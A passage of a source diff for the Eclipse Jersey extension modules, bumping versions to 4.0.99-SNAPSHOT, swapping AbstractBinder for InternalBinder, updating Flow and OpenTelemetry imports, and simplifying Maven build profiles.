 import org.glassfish.jersey.message.filtering.spi.ObjectGraph;
@@ -32,7 +32,7 @@
  *
  * @author Michal Gajdos
  */
-final class EntityFilteringBinder extends AbstractBinder {
+final class EntityFilteringBinder extends InternalBinder {
 
     @Override
     protected void configure() {
diff --git a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectGraphTransformer.java b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectGraphTransformer.java
index add7c4d..6ffd307 100644
--- a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectGraphTransformer.java
+++ b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectGraphTransformer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,6 @@
 
 package org.glassfish.jersey.message.filtering.spi;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.spi.Contract;
 
 /**
@@ -28,7 +27,7 @@
  * </p>
  * <p>
  * Implementations should be registered into client/server runtime via
- * {@link AbstractBinder jersey binder} (for more information and common implementation see
+ * {@code AbstractBinder jersey binder} (for more information and common implementation see
  * {@link AbstractObjectProvider}):
  * <pre>
  * bindAsContract(MyObjectGraphTransformer.class)
diff --git a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectProvider.java b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectProvider.java
index 5e64e2e..5ff1e20 100644
--- a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectProvider.java
+++ b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,7 +19,6 @@
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.spi.Contract;
 
 /**
@@ -43,7 +42,7 @@
  * </p>
  * <p>
  * Implementations should be registered into client/server runtime via
- * {@link AbstractBinder jersey binder} (for more information and common implementation see
+ * {@code AbstractBinder jersey binder} (for more information and common implementation see
  * {@link AbstractObjectProvider}):
  * <pre>
  * bindAsContract(MyObjectProvider.class)
diff --git a/ext/metainf-services/pom.xml b/ext/metainf-services/pom.xml
index 00db216..8acdb93 100644
--- a/ext/metainf-services/pom.xml
+++ b/ext/metainf-services/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-metainf-services</artifactId>
@@ -84,6 +84,7 @@
                     <instructions>
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <unpackBundle>true</unpackBundle>
diff --git a/ext/metainf-services/src/main/java/org/glassfish/jersey/spidiscovery/internal/MetaInfServicesAutoDiscoverable.java b/ext/metainf-services/src/main/java/org/glassfish/jersey/spidiscovery/internal/MetaInfServicesAutoDiscoverable.java
index cc8c8b4..152c7c2 100644
--- a/ext/metainf-services/src/main/java/org/glassfish/jersey/spidiscovery/internal/MetaInfServicesAutoDiscoverable.java
+++ b/ext/metainf-services/src/main/java/org/glassfish/jersey/spidiscovery/internal/MetaInfServicesAutoDiscoverable.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,8 +26,8 @@
 
 import jakarta.annotation.Priority;
 
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 import org.glassfish.jersey.internal.spi.ForcedAutoDiscoverable;
 
@@ -42,7 +42,7 @@
         final Map<String, Object> properties = context.getConfiguration().getProperties();
         final RuntimeType runtimeType = context.getConfiguration().getRuntimeType();
 
-        context.register(new AbstractBinder() {
+        context.register(new InternalBinder() {
             @Override
             protected void configure() {
                 // Message Body providers.
diff --git a/ext/micrometer/pom.xml b/ext/micrometer/pom.xml
index 443f8c3..c8bf1dc 100644
--- a/ext/micrometer/pom.xml
+++ b/ext/micrometer/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
index d46e855..ec821a5 100644
--- a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -44,7 +44,7 @@
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.junit.jupiter.api.Test;
-import zipkin2.CheckResult;
+import zipkin2.reporter.CheckResult;
 import zipkin2.reporter.Sender;
 import zipkin2.reporter.urlconnection.URLConnectionSender;
 
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
index 0490129..8012086 100644
--- a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -55,7 +55,7 @@
 import io.opentelemetry.sdk.trace.SdkTracerProviderBuilder;
 import io.opentelemetry.sdk.trace.export.SimpleSpanProcessor;
 import io.opentelemetry.sdk.trace.export.SpanExporter;
-import io.opentelemetry.semconv.resource.attributes.ResourceAttributes;
+import io.opentelemetry.semconv.ResourceAttributes;
 import org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.Nested;
diff --git a/ext/microprofile/mp-config/pom.xml b/ext/microprofile/mp-config/pom.xml
index d6b7dde..a54da07 100644
--- a/ext/microprofile/mp-config/pom.xml
+++ b/ext/microprofile/mp-config/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext.microprofile</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -67,6 +67,12 @@
             <artifactId>junit-jupiter</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-jetty</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
     <build>
         <plugins>
@@ -82,6 +88,7 @@
                         </Export-Package>
                         <Import-Package>
                             org.eclipse.microprofile.config.*;version="!",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
@@ -93,39 +100,6 @@
 
     <profiles>
         <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/microprofile/config/*Test.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-                    <artifactId>jersey-test-framework-provider-jetty</artifactId>
-                    <version>${project.version}</version>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
             <id>smallrye-dependency</id>
             <activation>
                 <jdk>[11,)</jdk>
@@ -142,7 +116,7 @@
         <profile>
             <id>helidon-config-dependency</id>
             <activation>
-                <jdk>[17,)</jdk>
+                <jdk>[21,)</jdk>
             </activation>
             <dependencies>
                 <dependency>
diff --git a/ext/microprofile/mp-rest-client/pom.xml b/ext/microprofile/mp-rest-client/pom.xml
index 691b006..5bdb2ca 100644
--- a/ext/microprofile/mp-rest-client/pom.xml
+++ b/ext/microprofile/mp-rest-client/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext.microprofile</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -118,8 +118,9 @@
                         </Export-Package>
                         <Import-Package>
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             org.eclipse.microprofile.config.*;version="!",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSubscription.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSubscription.java
index 18dbf4c..b6fe592 100644
--- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSubscription.java
+++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSubscription.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -16,11 +16,11 @@
  */
 package org.glassfish.jersey.microprofile.restclient;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
-import java.util.logging.Logger;
 import org.reactivestreams.Subscriber;
 import org.reactivestreams.Subscription;
 
+import java.util.concurrent.Flow;
+
 /**
  * A {@link SseEventSubscription} represents a one-to-one life-cycle of a
  * {@link Subscriber} subscribing to a {@link SseEventPublisher}.
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSuscriber.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSuscriber.java
index da628a0..d5001bc 100644
--- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSuscriber.java
+++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSuscriber.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -18,7 +18,8 @@
 
 import org.reactivestreams.Subscriber;
 import org.reactivestreams.Subscription;
-import org.glassfish.jersey.internal.jsr166.Flow;
+
+import java.util.concurrent.Flow;
 
 public class SseEventSuscriber<T> implements Flow.Subscriber<T> {
 
diff --git a/ext/microprofile/pom.xml b/ext/microprofile/pom.xml
index 93aab3a..9d10538 100644
--- a/ext/microprofile/pom.xml
+++ b/ext/microprofile/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/ext/mvc-bean-validation/pom.xml b/ext/mvc-bean-validation/pom.xml
index 4548534..001e60f 100644
--- a/ext/mvc-bean-validation/pom.xml
+++ b/ext/mvc-bean-validation/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-bean-validation</artifactId>
@@ -39,6 +39,15 @@
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
                 <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
             </plugin>
         </plugins>
         <resources>
diff --git a/ext/mvc-freemarker/pom.xml b/ext/mvc-freemarker/pom.xml
index ea14580..3a0fd3c 100644
--- a/ext/mvc-freemarker/pom.xml
+++ b/ext/mvc-freemarker/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-freemarker</artifactId>
@@ -42,7 +42,11 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
-                        <Import-Package>jakarta.servlet.*;version="[5.0,7.0)",*</Import-Package>
+                        <Import-Package>
+                            jakarta.servlet.*;version="[6.0,7.0)",
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                         <Export-Package>org.glassfish.jersey.server.mvc.freemarker.*;version=${project.version}</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
diff --git a/ext/mvc-jsp/pom.xml b/ext/mvc-jsp/pom.xml
index 8ce2d57..b418464 100644
--- a/ext/mvc-jsp/pom.xml
+++ b/ext/mvc-jsp/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-jsp</artifactId>
@@ -53,8 +53,9 @@
                 <configuration>
                     <instructions>
                         <Import-Package>
-                            jakarta.servlet.jsp.*;version="[3.0,4.0)",
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.jsp.*;version="[3.0,5.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <Export-Package>org.glassfish.jersey.server.mvc.jsp.*;version=${project.version}</Export-Package>
diff --git a/ext/mvc-mustache/pom.xml b/ext/mvc-mustache/pom.xml
index 18057fc..47dc2af 100644
--- a/ext/mvc-mustache/pom.xml
+++ b/ext/mvc-mustache/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-mustache</artifactId>
@@ -42,6 +42,10 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                         <Export-Package>org.glassfish.jersey.server.mvc.mustache.*;version=${project.version}</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
diff --git a/ext/mvc-thymeleaf/pom.xml b/ext/mvc-thymeleaf/pom.xml
index 181a53a..be364f3 100644
--- a/ext/mvc-thymeleaf/pom.xml
+++ b/ext/mvc-thymeleaf/pom.xml
@@ -25,7 +25,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-thymeleaf</artifactId>
diff --git a/ext/mvc/pom.xml b/ext/mvc/pom.xml
index f259eed..1f26204 100644
--- a/ext/mvc/pom.xml
+++ b/ext/mvc/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc</artifactId>
@@ -66,7 +66,12 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.server.mvc.*;version=${project.version}</Export-Package>
-                        <Import-Package> jakarta.servlet.*;version="[5.0,7.0)",${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            jakarta.servlet.*;version="[6.0,7.0)",
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/MvcBinder.java b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/MvcBinder.java
index fcd0e53..da8f973 100644
--- a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/MvcBinder.java
+++ b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/MvcBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.server.model.ModelProcessor;
 import org.glassfish.jersey.server.mvc.spi.ViewableContext;
 
@@ -30,7 +30,7 @@
  *
  * @author Michal Gajdos
  */
-public class MvcBinder extends AbstractBinder {
+public class MvcBinder extends InternalBinder {
 
     @Override
     protected void configure() {
diff --git a/ext/pom.xml b/ext/pom.xml
index 76629a4..054aee3 100644
--- a/ext/pom.xml
+++ b/ext/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/ext/proxy-client/pom.xml b/ext/proxy-client/pom.xml
index 61f5a72..034305d 100644
--- a/ext/proxy-client/pom.xml
+++ b/ext/proxy-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-proxy-client</artifactId>
@@ -41,6 +41,10 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                         <Export-Package>org.glassfish.jersey.client.proxy.*;version=${project.version}</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
diff --git a/ext/rx/pom.xml b/ext/rx/pom.xml
index 4968d63..8fb15fe 100644
--- a/ext/rx/pom.xml
+++ b/ext/rx/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext.rx</groupId>
diff --git a/ext/rx/rx-client-guava/pom.xml b/ext/rx/rx-client-guava/pom.xml
index 523cb4e..943ecbc 100644
--- a/ext/rx/rx-client-guava/pom.xml
+++ b/ext/rx/rx-client-guava/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.rx</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-rx-client-guava</artifactId>
diff --git a/ext/rx/rx-client-rxjava/pom.xml b/ext/rx/rx-client-rxjava/pom.xml
index 07cd74f..b36f063 100644
--- a/ext/rx/rx-client-rxjava/pom.xml
+++ b/ext/rx/rx-client-rxjava/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.rx</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-rx-client-rxjava</artifactId>
diff --git a/ext/rx/rx-client-rxjava2/pom.xml b/ext/rx/rx-client-rxjava2/pom.xml
index 7fe9214..0cdc1ed 100644
--- a/ext/rx/rx-client-rxjava2/pom.xml
+++ b/ext/rx/rx-client-rxjava2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.rx</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-rx-client-rxjava2</artifactId>
diff --git a/ext/spring6/pom.xml b/ext/spring6/pom.xml
index 597dd22..441c965 100644
--- a/ext/spring6/pom.xml
+++ b/ext/spring6/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-spring6</artifactId>
@@ -38,10 +38,6 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java.build.outputDirectory>${project.basedir}/target</java.build.outputDirectory>
-        <javaPre17.sourceDirectory>${project.basedir}/src/main/javaPre17</javaPre17.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
     </properties>
 
     <repositories>
@@ -229,157 +225,6 @@
 
     <profiles>
         <profile>
-            <id>HK2_JDK8_dependencyConvergence_skip</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-enforcer-plugin</artifactId>
-                        <configuration>
-                            <rulesToSkip>dependencyConvergence</rulesToSkip>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>SpringExclude</id>
-            <activation>
-                <jdk>[1.8,17)</jdk>
-            </activation>
-            <build>
-                <directory>${java.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${javaPre17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/server/spring/**/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>SpringInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.class</exists>
-                </file>
-                <jdk>[1.8,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>delayed-strategy-skip-test</id>
             <activation>
                 <property>
@@ -400,4 +245,4 @@
             </build>
         </profile>
     </profiles>
-</project>
+</project>
\ No newline at end of file
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
similarity index 98%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
index aca66c9..f5d5d6d 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringComponentProvider.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java
similarity index 98%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringComponentProvider.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java
index 358f488..bcef673 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringComponentProvider.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
